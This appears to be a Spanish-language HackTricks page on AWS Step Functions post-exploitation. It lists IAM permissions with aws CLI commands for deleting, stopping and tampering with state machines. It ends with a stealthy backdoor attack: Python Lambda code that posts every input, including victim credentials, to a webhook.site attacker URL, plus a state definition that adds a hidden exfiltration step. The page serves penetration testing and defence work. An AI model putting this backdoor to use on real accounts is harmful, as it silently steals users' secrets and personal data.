Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

185 lines
7.6 KiB
Markdown

# AWS - Step Functions Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
## Step Functions
Para más información sobre este servicio de AWS, consulta:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### `states:RevealSecrets`
Este permiso permite **revelar datos secretos dentro de una ejecución**. Para ello, es necesario establecer el nivel de Inspección en TRACE y el parámetro revealSecrets en true.
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
Un atacante con estos permisos podría eliminar permanentemente máquinas de estado, sus versiones y alias. Esto puede interrumpir flujos de trabajo críticos, resultar en pérdida de datos y requerir un tiempo significativo para recuperar y restaurar las máquinas de estado afectadas. Además, permitiría a un atacante cubrir las huellas utilizadas, interrumpir investigaciones forenses y potencialmente paralizar operaciones al eliminar procesos de automatización esenciales y configuraciones de estado.
> [!NOTE]
>
> - Al eliminar una máquina de estado, también se eliminan todas sus versiones y alias asociados.
> - Al eliminar un alias de máquina de estado, no se eliminan las versiones de la máquina de estado que hacen referencia a este alias.
> - No es posible eliminar una versión de máquina de estado actualmente referenciada por uno o más alias.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
```
- **Impacto Potencial**: Disrupción de flujos de trabajo críticos, pérdida de datos y tiempo de inactividad operativo.
### `states:UpdateMapRun`
Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un ítem falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
- **Impacto Potencial**: Degradación del rendimiento y interrupción de flujos de trabajo críticos.
### `states:StopExecution`
Un atacante con este permiso podría detener la ejecución de cualquier máquina de estados, interrumpiendo flujos de trabajo y procesos en curso. Esto podría llevar a transacciones incompletas, operaciones comerciales detenidas y posible corrupción de datos.
> [!WARNING]
> Esta acción no es compatible con **máquinas de estados expresas**.
```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```
- **Impacto Potencial**: Disrupción de flujos de trabajo en curso, tiempo de inactividad operativo y posible corrupción de datos.
### `states:TagResource`, `states:UntagResource`
Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de Step Functions, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
```bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas.
---
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
Un atacante que compromete a un usuario o rol con los siguientes permisos:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...puede llevar a cabo un **ataque de post-explotación de alto impacto y sigiloso** combinando el backdooring de Lambda con la manipulación de la lógica de Step Function.
Este escenario asume que la víctima utiliza **AWS Step Functions para orquestar flujos de trabajo que procesan entradas sensibles**, como credenciales, tokens o PII.
Ejemplo de invocación de la víctima:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
Si la Step Function está configurada para invocar un Lambda como `LegitBusinessLogic`, el atacante puede proceder con **dos variantes de ataque sigilosas**:
---
#### Actualizó la función lambda
El atacante modifica el código de la función Lambda ya utilizada por la Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente los datos de entrada.
```python
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```
```bash
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---
#### Agregar un Estado Malicioso a la Función de Paso
Alternativamente, el atacante puede inyectar un **estado de exfiltración** al comienzo del flujo de trabajo actualizando la definición de la Función de Paso.
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
```
```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
El atacante puede ser aún más sigiloso al actualizar la definición del estado a algo como esto
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
donde la víctima no se dará cuenta de la diferencia
---
### Configuración de la Víctima (Contexto para la Explotación)
- Se utiliza una Step Function (`LegitStateMachine`) para procesar entradas sensibles de usuarios.
- Llama a una o más funciones Lambda como `LegitBusinessLogic`.
---
**Impacto Potencial**:
- Exfiltración silenciosa de datos sensibles, incluyendo secretos, credenciales, claves API y PII.
- Sin errores o fallos visibles en la ejecución del flujo de trabajo.
- Difícil de detectar sin auditar el código de Lambda o los rastros de ejecución.
- Permite una persistencia a largo plazo si la puerta trasera permanece en el código o la lógica ASL.
{{#include ../../../banners/hacktricks-training.md}}